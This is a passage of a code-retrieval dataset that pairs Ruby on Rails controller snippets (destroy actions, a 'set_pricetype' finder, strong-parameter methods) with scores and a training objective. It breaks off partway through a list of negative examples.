"def destroy\n @os_type.destroy\n respond_to do |format|\n format.html { redirect_to os_types_url, notice: 'Os type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crate_type = CrateType.find(params[:id])\n @crate_type.destroy\n\n respond_to do |format|\n format.html { redirect_to crate_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @pay_type.destroy\n respond_to do |format|\n format.html { redirect_to pay_types_url, notice: 'Pay type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @typeconge.destroy\n respond_to do |format|\n format.html { redirect_to typeconges_url, notice: 'Typeconge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @servicetype = Servicetype.find(params[:id])\n @servicetype.destroy\n\n respond_to do |format|\n format.html { redirect_to servicetypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @servicetype = Servicetype.find(params[:id])\n @servicetype.destroy\n\n respond_to do |format|\n format.html { redirect_to servicetypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @power_rack_type.destroy\n respond_to do |format|\n format.html { redirect_to power_rack_types_url, notice: \"Power rack type was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident_type = IncidentType.find(params[:id])\n @incident_type.destroy\n\n respond_to do |format|\n format.html { redirect_to incident_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @all_field_type = AllFieldType.find(params[:id])\n @all_field_type.destroy\n\n respond_to do |format|\n format.html { redirect_to all_field_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fieldtype = Fieldtype.find(params[:id])\n @fieldtype.destroy\n\n respond_to do |format|\n format.html { redirect_to fieldtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(realty_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @crossbowtype.destroy\n respond_to do |format|\n format.html { redirect_to crossbowtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @print_type.destroy\n respond_to do |format|\n format.html { redirect_to print_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dash_type = DashType.find(params[:id])\n @dash_type.destroy\n\n respond_to do |format|\n format.html { redirect_to dash_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_type.destroy\n respond_to do |format|\n format.html { redirect_to item_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @powder_type.destroy\n respond_to do |format|\n format.html { redirect_to powder_types_url, notice: 'Powder type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recept_type.destroy\n respond_to do |format|\n format.html { redirect_to recept_types_url, notice: 'Recept type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @addtype.destroy\n respond_to do |format|\n format.html { redirect_to addtypes_url, notice: '变动方式删除成功!.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @promotion_type = PromotionType.find(params[:id])\n @promotion_type.destroy\n\n respond_to do |format|\n format.html { redirect_to promotion_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_user_type.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_user_types_url, notice: 'User type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @coupom_type.destroy\n respond_to do |format|\n format.html { redirect_to coupom_types_url, notice: 'Coupom type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @az_simple_data_type = AzSimpleDataType.find(params[:id])\n @az_simple_data_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_simple_data_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @girltype = Girltype.find(params[:id])\n @girltype.destroy\n\n respond_to do |format|\n format.html { redirect_to girltypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persont_type.destroy\n respond_to do |format|\n format.html { redirect_to persont_types_url, notice: 'Persont type was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @coverage_type.destroy\n respond_to do |format|\n format.html { redirect_to coverage_types_url, notice: 'Coverage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @costtype = Costtype.find(params[:id])\n @costtype.destroy\n\n respond_to do |format|\n format.html { redirect_to costtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @phones_type.destroy\n respond_to do |format|\n format.html { redirect_to phones_types_url, notice: 'Phones type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @optype.destroy\n respond_to do |format|\n format.html { redirect_to optypes_url, notice: 'Optype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bs_type.destroy\n respond_to do |format|\n format.html { redirect_to bs_types_url, notice: 'Bs type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ip_type = IpType.find(params[:id])\n @ip_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ip_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @instance_type.destroy\n respond_to do |format|\n format.html { redirect_to instance_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arc_type.destroy\n respond_to do |format|\n format.html { redirect_to arc_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @call_type.destroy\n respond_to do |format|\n format.html { redirect_to call_types_url, notice: 'Call type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pre_print_type = PrePrintType.find(params[:id])\n @pre_print_type.destroy\n\n respond_to do |format|\n format.html { redirect_to pre_print_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roof_type.destroy\n respond_to do |format|\n format.html { redirect_to roof_types_url, notice: 'Roof type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contractor_type = ContractorType.find(params[:id])\n @contractor_type.destroy\n\n respond_to do |format|\n format.html { redirect_to contractor_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @awon_record_type.destroy\n respond_to do |format|\n format.html { redirect_to awon_record_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @competence_type.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @gl_type = GlType.find(params[:id])\n @gl_type.destroy\n\n respond_to do |format|\n format.html { redirect_to gl_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @collection = @entity_type.collection\n @entity_type.destroy\n respond_to do |format|\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'The entity type was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @production_type.destroy\n respond_to do |format|\n format.html { redirect_to production_types_url, notice: 'Production type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_type = QuestionType.find(params[:id])\n @question_type.destroy\n\n respond_to do |format|\n format.html { redirect_to question_types_url }\n format.json { head :no_content }\n end\n end",
"def delete_outype(outype_id)\n path = \"/d2l/api/lp/#{$lp_ver}/outypes/#{outype_id}\"\n _delete(path)\nend",
"def destroy\n @contract_type = ContractType.find(params[:id])\n @contract_type.destroy\n\n respond_to do |format|\n format.html { redirect_to contract_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @intervention_type.destroy\n respond_to do |format|\n format.html { redirect_to intervention_types_url, notice: 'O tipo de intervenção foi eliminado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_type = ServiceType.find(params[:id])\n @service_type.destroy\n\n respond_to do |format|\n format.html { redirect_to service_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident_type.destroy\n respond_to do |format|\n format.html { redirect_to admin_incident_types_path, notice: 'Incident type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_type.destroy\n respond_to do |format|\n format.html { redirect_to base_project_types_url, notice: 'Base project type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spec_type.destroy\n respond_to do |format|\n format.html { redirect_to spec_types_url, notice: 'Spec type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hr_config_discipline_type.destroy\n respond_to do |format|\n format.html { redirect_to hr_config_discipline_types_url, notice: 'Discipline type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @model_type.destroy\n respond_to do |format|\n format.html { redirect_to model_types_url, notice: 'Model type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @count_type.destroy\n respond_to do |format|\n format.html { redirect_to count_types_url, notice: 'Count type was successfully destroyed.' }\n #format.json { head :no_content }\n end\n end",
"def destroy\n @act_type = ActType.find(params[:id])\n @act_type.destroy\n\n respond_to do |format|\n format.html { redirect_to act_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_type.destroy\n respond_to do |format|\n format.html { redirect_to project_types_url, notice: 'Project type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flow_type.destroy\n respond_to do |format|\n format.html { redirect_to flow_types_url, notice: 'Flow type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @potion_type.destroy\n respond_to do |format|\n format.html { redirect_to potion_types_url, notice: 'Potion type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @itype = Itype.find(params[:id])\n @itype.destroy\n\n respond_to do |format|\n format.html { redirect_to itypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sample_type = SampleType.find(params[:id])\n @sample_type.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foundation_type.destroy\n respond_to do |format|\n format.html { redirect_to foundation_types_url, notice: 'Foundation type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @projectile_type.destroy\n respond_to do |format|\n format.html { redirect_to projectile_types_url, notice: 'Projectile type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @phosphosite_type = PhosphositeType.find(params[:id])\n @phosphosite_type.destroy\n\n respond_to do |format|\n format.html { redirect_to phosphosite_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contract_type.destroy\n respond_to do |format|\n format.html { redirect_to contract_types_url, notice: 'Contract type a bien été supprimé.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jewelry_type = JewelryType.find(params[:id])\n @jewelry_type.destroy\n\n respond_to do |format|\n format.html { redirect_to jewelry_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @structure_type = StructureType.find(params[:id])\n @structure_type.destroy\n\n respond_to do |format|\n format.html { redirect_to structure_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @info_type = InfoType.find(params[:id])\n @info_type.destroy\n\n respond_to do |format|\n format.html { redirect_to info_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @plantype = Plantype.find(params[:id])\n @plantype.destroy\n\n respond_to do |format|\n format.html { redirect_to plantypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ref_med_diagnostic_test_type = Ref::MedDiagnosticTestType.find(params[:id])\n @ref_med_diagnostic_test_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_med_diagnostic_test_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tax_type = TaxType.find(params[:id])\n @tax_type.destroy\n\n respond_to do |format|\n format.html { redirect_to tax_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @doi_type.destroy\n respond_to do |format|\n format.html { \n flash[:notice] = 'El tipo de documento de identidad se eliminó satisfactoriamente.'\n redirect_to doi_types_path\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type_identification.destroy\n respond_to do |format|\n format.html { redirect_to type_identifications_url, notice: 'Type identification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @addresstype = Addresstype.find(params[:id])\n @addresstype.destroy\n\n respond_to do |format|\n format.html { redirect_to addresstypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @grouptype.destroy\n respond_to do |format|\n format.html { redirect_to grouptypes_url, notice: 'Grouptype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @storage_type.destroy\n respond_to do |format|\n format.html { redirect_to storage_types_url, notice: 'Storage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @business_type = BusinessType.find(params[:id])\n @business_type.destroy\n\n respond_to do |format|\n format.html { redirect_to business_types_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.73798156",
"0.7343801",
"0.721607",
"0.70976806",
"0.7091887",
"0.70742613",
"0.70742613",
"0.70737946",
"0.7067571",
"0.70593506",
"0.70551926",
"0.7036629",
"0.700738",
"0.69975984",
"0.6975472",
"0.6974206",
"0.69698375",
"0.6962976",
"0.69595975",
"0.6955237",
"0.6952189",
"0.6935175",
"0.6933096",
"0.6925943",
"0.69248044",
"0.69240475",
"0.6922164",
"0.6908301",
"0.69004077",
"0.68962455",
"0.68882763",
"0.68882763",
"0.6883253",
"0.68819875",
"0.6881359",
"0.68801683",
"0.68737537",
"0.68701315",
"0.6868954",
"0.6866655",
"0.6865952",
"0.68654513",
"0.6865153",
"0.68646604",
"0.6864622",
"0.6862498",
"0.68585265",
"0.6857274",
"0.68550265",
"0.6849047",
"0.6844387",
"0.68443775",
"0.68428034",
"0.68397695",
"0.6837137",
"0.68358",
"0.6835798",
"0.6833438",
"0.6830138",
"0.68183017",
"0.6813275",
"0.6807129",
"0.6804272",
"0.67997766",
"0.6799221",
"0.67991513",
"0.67953706",
"0.6794025",
"0.6791332",
"0.67903805",
"0.67880684",
"0.6784884",
"0.6784476",
"0.67821777",
"0.67801726",
"0.67798245",
"0.67782503",
"0.67781854",
"0.67757505",
"0.6775024",
"0.67749685",
"0.6774517",
"0.67617786",
"0.67603755",
"0.675965",
"0.6755088",
"0.6755078",
"0.67505157",
"0.67501336",
"0.6741099",
"0.6741086",
"0.67407787",
"0.67407435",
"0.67384493",
"0.67369837",
"0.6735074",
"0.6734781",
"0.67330116",
"0.67328465",
"0.67307305"
] |
0.7376548
|
1
|
Use callbacks to share common setup or constraints between actions.
|
def set_pricetype
@pricetype = Pricetype.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup_handler\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def action\n end",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def around_hooks; end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def call\n setup_context\n super\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def duas1(action)\n action.call\n action.call\nend"
] |
[
"0.61637366",
"0.60446453",
"0.59452957",
"0.591511",
"0.58885515",
"0.5834122",
"0.57761765",
"0.5702554",
"0.5702554",
"0.5652102",
"0.5619581",
"0.5423898",
"0.5409782",
"0.5409782",
"0.5409782",
"0.5394745",
"0.53780794",
"0.5356209",
"0.5338898",
"0.53381324",
"0.5328622",
"0.5309231",
"0.5296901",
"0.529641",
"0.5296097",
"0.5258364",
"0.5242683",
"0.5236372",
"0.5236372",
"0.5236372",
"0.5236372",
"0.5236372",
"0.52346426",
"0.52320486",
"0.5225926",
"0.52210605",
"0.52171826",
"0.52138335",
"0.5207914",
"0.52069265",
"0.5176269",
"0.5174653",
"0.51730466",
"0.51650184",
"0.5161409",
"0.5156175",
"0.5154185",
"0.5151096",
"0.5151089",
"0.51452935",
"0.5138662",
"0.51339483",
"0.5113475",
"0.51132",
"0.51132",
"0.5108031",
"0.51075375",
"0.5090693",
"0.50892115",
"0.5081523",
"0.5081454",
"0.5064919",
"0.50545585",
"0.50531805",
"0.50501585",
"0.50501585",
"0.50329936",
"0.5024674",
"0.50203156",
"0.50156844",
"0.50149846",
"0.50011337",
"0.4999346",
"0.49984375",
"0.4988749",
"0.4988749",
"0.49842322",
"0.49800175",
"0.4979922",
"0.49791628",
"0.49666047",
"0.49655434",
"0.49559638",
"0.49557537",
"0.49554902",
"0.4953974",
"0.49519545",
"0.49449277",
"0.49440357",
"0.49329734",
"0.49315402",
"0.49261367",
"0.4925912",
"0.4925598",
"0.4924306",
"0.49202663",
"0.49167567",
"0.49164373",
"0.4915191",
"0.49145022",
"0.49140996"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def pricetype_params
params.require(:pricetype).permit(:name)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
